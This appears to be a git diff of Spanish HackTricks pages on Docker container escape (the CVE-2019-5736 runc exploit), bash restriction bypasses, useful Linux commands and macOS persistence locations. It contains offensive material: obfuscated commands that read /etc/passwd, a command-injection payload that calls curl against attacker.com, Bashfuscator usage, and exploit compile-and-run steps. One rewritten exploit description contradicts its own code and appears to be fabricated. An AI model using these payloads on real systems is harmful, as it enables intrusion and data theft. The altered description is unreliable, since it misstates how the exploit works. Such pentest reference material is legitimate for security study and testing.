La segunda técnica explicada en la publicación [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica cómo se puede abusar de los enlaces de montaje con espacios de nombres de usuario, para afectar archivos dentro del host (en ese caso específico, eliminar archivos).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -493,10 +493,10 @@ Obtén acceso hoy:
|
|||
|
||||
### Exploit de Runc (CVE-2019-5736)
|
||||
|
||||
En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar el payload.
|
||||
En caso de que pueda ejecutar `docker exec` como root (probablemente con sudo), intente escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar el payload.
|
||||
|
||||
Cambia el payload según sea necesario y compila el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
|
||||
Al ejecutarlo, tan pronto como muestre `[+] Sobrescrito /bin/sh exitosamente`, debes ejecutar lo siguiente desde la máquina host:
|
||||
Cambie el payload según sea necesario y compile el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
|
||||
Al ejecutarlo, tan pronto como muestre `[+] Sobrescrito /bin/sh exitosamente`, debe ejecutar lo siguiente desde la máquina host:
|
||||
|
||||
`docker exec -it <nombre-contenedor> /bin/sh`
|
||||
|
||||
|
@ -505,7 +505,7 @@ Esto activará el payload que está presente en el archivo main.go.
|
|||
Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Existen otras CVEs a las que el contenedor puede ser vulnerable, puedes encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
Existen otras CVEs a las que el contenedor puede ser vulnerable, puede encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Escape Personalizado de Docker
|
||||
|
@ -565,31 +565,20 @@ Existen otras CVEs a las que el contenedor puede ser vulnerable, puedes encontra
|
|||
|
||||
## Escalada de privilegios de Docker: Fuga de Docker
|
||||
|
||||
Este exploit se basa en la capacidad de ejecutar llamadas al sistema directamente desde un contenedor Docker para obtener privilegios de root en el host. El código fuente `syscall_bf.c` proporciona una forma de realizar este ataque.
|
||||
Este exploit de escalada de privilegios de Docker aprovecha una vulnerabilidad en el controlador de dispositivos de Docker para obtener acceso de root en el host subyacente. El exploit se basa en la técnica de fuerza bruta para adivinar el descriptor de archivo del socket de Docker y, posteriormente, ejecutar comandos como root.
|
||||
|
||||
### Uso
|
||||
|
||||
Compile el código fuente en el contenedor Docker:
|
||||
|
||||
```bash
|
||||
gcc -static -o syscall_bf syscall_bf.c
|
||||
```
|
||||
|
||||
Ejecute el binario compilado en el contenedor Docker:
|
||||
Compile el archivo `syscall_bf.c` y ejecútelo en el contenedor Docker para intentar la escalada de privilegios.
|
||||
|
||||
```bash
|
||||
gcc -o syscall_bf syscall_bf.c
|
||||
./syscall_bf
|
||||
```
|
||||
|
||||
### Impacto
|
||||
|
||||
Si tiene éxito, este exploit permitirá al atacante obtener privilegios de root en el host, lo que puede conducir a un compromiso total del sistema.
|
||||
|
||||
### Mitigación
|
||||
|
||||
Para mitigar este tipo de ataque, se recomienda limitar estrictamente los privilegios de los contenedores Docker y evitar ejecutar contenedores con privilegios elevados siempre que sea posible.
|
||||
|
||||
{% endtab %}
|
||||
Para mitigar este tipo de ataque, se recomienda mantener Docker actualizado y seguir las mejores prácticas de seguridad, como limitar los privilegios de los contenedores y restringir el acceso a los sockets de Docker.
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -653,7 +642,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Comandos Útiles de Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -14,8 +14,8 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -141,7 +141,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -171,37 +171,15 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
### Grep básico
|
||||
Grep es una herramienta de línea de comandos que se utiliza para buscar patrones en archivos de texto. Es extremadamente útil para encontrar información específica dentro de archivos grandes. Aquí hay algunos ejemplos de cómo usar grep:
|
||||
|
||||
El comando `grep` se utiliza para buscar patrones en archivos. Por ejemplo, para buscar la palabra "example" en un archivo llamado `file.txt`, se puede usar el siguiente comando:
|
||||
|
||||
```bash
|
||||
grep "example" file.txt
|
||||
```
|
||||
|
||||
### Grep recursivo
|
||||
|
||||
Para buscar de forma recursiva en un directorio y sus subdirectorios, se puede utilizar el siguiente comando:
|
||||
|
||||
```bash
|
||||
grep -r "pattern" /path/to/directory
|
||||
```
|
||||
|
||||
### Grep con números de línea
|
||||
|
||||
Si se desea mostrar también los números de línea donde se encuentra el patrón, se puede usar la opción `-n`:
|
||||
|
||||
```bash
|
||||
grep -n "pattern" file.txt
|
||||
```
|
||||
|
||||
### Grep con coincidencias ignorando mayúsculas y minúsculas
|
||||
|
||||
Para realizar una búsqueda que ignore si las letras son mayúsculas o minúsculas, se puede utilizar la opción `-i`:
|
||||
|
||||
```bash
|
||||
grep -i "pattern" file.txt
|
||||
```
|
||||
- `grep pattern file`: Busca un patrón específico en un archivo.
|
||||
- `grep -i pattern file`: Busca un patrón de forma insensible a mayúsculas y minúsculas.
|
||||
- `grep -r pattern directory`: Busca un patrón de forma recursiva en un directorio y sus subdirectorios.
|
||||
- `grep -v pattern file`: Muestra líneas que no contienen el patrón especificado.
|
||||
- `grep -E 'pattern1|pattern2' file`: Busca múltiples patrones a la vez utilizando expresiones regulares.
|
||||
- `grep -c pattern file`: Muestra el número de líneas que contienen el patrón.
|
||||
- `grep -n pattern file`: Muestra el número de línea junto con la línea que contiene el patrón.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -319,14 +297,59 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
Bash, abreviatura de "Bourne Again Shell", es un intérprete de comandos de Unix y un lenguaje de scripting que es ampliamente utilizado en sistemas Linux.
|
||||
### Descripción
|
||||
|
||||
Bash es un intérprete de comandos que se utiliza comúnmente en sistemas operativos basados en Unix, como Linux. Permite a los usuarios interactuar con el sistema operativo ejecutando comandos desde la línea de comandos.
|
||||
|
||||
### Comandos Útiles
|
||||
|
||||
- **`cd`**: Cambia el directorio actual.
|
||||
- **`ls`**: Lista los archivos y directorios en el directorio actual.
|
||||
- **`pwd`**: Muestra la ruta del directorio actual.
|
||||
- **`cp`**: Copia archivos y directorios.
|
||||
- **`mv`**: Mueve archivos y directorios.
|
||||
- **`rm`**: Elimina archivos y directorios.
|
||||
- **`chmod`**: Cambia los permisos de archivos y directorios.
|
||||
- **`chown`**: Cambia el propietario de archivos y directorios.
|
||||
- **`grep`**: Busca texto en archivos.
|
||||
- **`ps`**: Muestra los procesos en ejecución.
|
||||
- **`kill`**: Envía una señal a un proceso.
|
||||
- **`top`**: Muestra los procesos en ejecución y su uso de recursos.
|
||||
- **`history`**: Muestra el historial de comandos.
|
||||
- **`man`**: Muestra el manual de un comando.
|
||||
- **`wget`**: Descarga archivos desde la web.
|
||||
- **`ssh`**: Inicia una sesión segura de shell remoto.
|
||||
- **`tar`**: Gestiona archivos comprimidos en formato tar.
|
||||
- **`df`**: Muestra el espacio en disco disponible.
|
||||
- **`du`**: Muestra el uso del espacio en disco de archivos y directorios.
|
||||
- **`ifconfig`**: Muestra la configuración de red.
|
||||
- **`ping`**: Envía un paquete ICMP a un host.
|
||||
- **`netstat`**: Muestra las conexiones de red.
|
||||
- **`who`**: Muestra quién está conectado al sistema.
|
||||
- **`uname`**: Muestra información sobre el sistema.
|
||||
- **`date`**: Muestra la fecha y la hora actuales.
|
||||
- **`echo`**: Muestra texto en la pantalla o redirige la salida.
|
||||
- **`cat`**: Muestra el contenido de un archivo.
|
||||
- **`head`**: Muestra las primeras líneas de un archivo.
|
||||
- **`tail`**: Muestra las últimas líneas de un archivo.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
iptables es una herramienta de firewall en Linux que permite a los usuarios configurar reglas de seguridad para proteger su sistema contra accesos no autorizados.
|
||||
### Descripción
|
||||
|
||||
Iptables es una herramienta de filtrado de paquetes en el kernel de Linux. Se utiliza para configurar reglas de firewall y controlar el tráfico de red.
|
||||
|
||||
### Comandos Útiles
|
||||
|
||||
- `iptables -L`: Muestra todas las reglas de iptables.
|
||||
- `iptables -F`: Limpia todas las reglas de iptables.
|
||||
- `iptables -A <chain> -p <protocol> --dport <port> -j ACCEPT`: Agrega una regla para permitir el tráfico en un puerto específico.
|
||||
- `iptables -A <chain> -s <source> -j DROP`: Bloquea el tráfico de una dirección IP específica.
|
||||
- `iptables-save > <file>`: Guarda las reglas de iptables en un archivo.
|
||||
- `iptables-restore < <file>`: Restaura las reglas de iptables desde un archivo.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -363,7 +386,7 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -371,7 +394,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -22,7 +22,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Saltos Comunes de Limitaciones
|
||||
## Saltos Comunes para Evadir Limitaciones
|
||||
|
||||
### Shell Inverso
|
||||
```bash
|
||||
|
@ -126,7 +126,7 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Saltar la barra invertida y la barra diagonal
|
||||
### Saltar barra invertida y barra diagonal
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
|
@ -154,13 +154,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obtener caracteres de variables de entorno
|
||||
|
||||
En algunos casos, es posible que se restrinja el uso de ciertos caracteres especiales al ejecutar comandos en un shell. Sin embargo, es posible obtener estos caracteres de las variables de entorno y utilizarlos en los comandos. Por ejemplo, puedes acceder a un carácter especial como el signo de dólar ($) de la variable de entorno `IFS` de la siguiente manera:
|
||||
|
||||
```bash
|
||||
echo $IFS
|
||||
```
|
||||
### Obteniendo caracteres de Variables de Entorno
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -172,7 +166,7 @@ Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
|
|||
### Integrados
|
||||
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de integrados para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **integrados**, por lo que debes **conocer todas tus opciones** para intentar evadir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
En primer lugar, verifica todos los [**integrados de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
Primero, verifica todos los [**integrados de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -235,20 +229,6 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
#### Descripción
|
||||
|
||||
El **Bashfuscator** es una herramienta que se utiliza para ofuscar scripts de Bash con el objetivo de eludir restricciones impuestas por sistemas de seguridad. Esta herramienta reemplaza los caracteres y palabras clave en el script original por equivalentes que mantienen la funcionalidad pero dificultan la detección por parte de los sistemas de seguridad.
|
||||
|
||||
#### Uso
|
||||
|
||||
El Bashfuscator se puede utilizar de la siguiente manera:
|
||||
|
||||
```bash
|
||||
bashfuscator.sh script_original.sh script_ofuscado.sh
|
||||
```
|
||||
|
||||
Esto generará un nuevo script ofuscado que puede ser ejecutado de la misma manera que el script original, pero con una capa adicional de protección contra sistemas de seguridad que intentan detectar y bloquear ciertos comandos o patrones en los scripts de Bash.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -356,7 +336,7 @@ Si te encuentras dentro de un sistema de archivos con las **protecciones de solo
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -371,7 +351,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_mediu
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -8,9 +8,9 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -31,16 +31,16 @@ Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de la caja de
|
|||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Disparador**: Volver a iniciar sesión
|
||||
* **`~/Library/LaunchDemons`**
|
||||
|
@ -124,7 +124,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* `/etc/profile` (no funcionó)
|
||||
* `~/.profile` (no funcionó)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** e incluso después de instalarlo se muestra este error: xterm: `DISPLAY is not set`
|
||||
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** y incluso después de instalarlo se muestra este error: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
|
@ -155,7 +155,7 @@ Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso
|
|||
|
||||
Todas las aplicaciones a reabrir están dentro del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
Por lo tanto, para hacer que las aplicaciones reabiertas lancen la suya propia, solo necesita **agregar su aplicación a la lista**.
|
||||
Por lo tanto, para hacer que las aplicaciones reabiertas lancen la suya, solo necesita **agregar su aplicación a la lista**.
|
||||
|
||||
El UUID se puede encontrar listando ese directorio o con `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
|
@ -177,7 +177,7 @@ Para **agregar una aplicación a esta lista** puedes usar:
|
|||
```
|
||||
### Preferencias de Terminal
|
||||
|
||||
* Útil para evitar el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evitar la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Terminal usa permisos de FDA si el usuario lo utiliza
|
||||
|
||||
|
@ -362,15 +362,15 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```
|
||||
El usuario root se almacena en **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Bypass de Sandbox Condicional
|
||||
## Bypass de Condición de Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no muy comunes** como programas específicos instalados, acciones de usuario "poco comunes" o entornos.
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permite simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no muy comunes** como programas específicos instalados, acciones de usuario "poco comunes" o entornos.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
**Descripción**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Sin embargo, necesitas poder ejecutar el binario `crontab`
|
||||
|
@ -381,7 +381,7 @@ Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox**
|
|||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Se requiere ser root para acceso de escritura directa. No se requiere ser root si puedes ejecutar `crontab <archivo>`
|
||||
* **Desencadenante**: Depende del trabajo cron
|
||||
* **Disparador**: Depende del trabajo cron
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
|
@ -396,7 +396,7 @@ En MacOS se pueden encontrar varias carpetas que ejecutan scripts con **cierta f
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
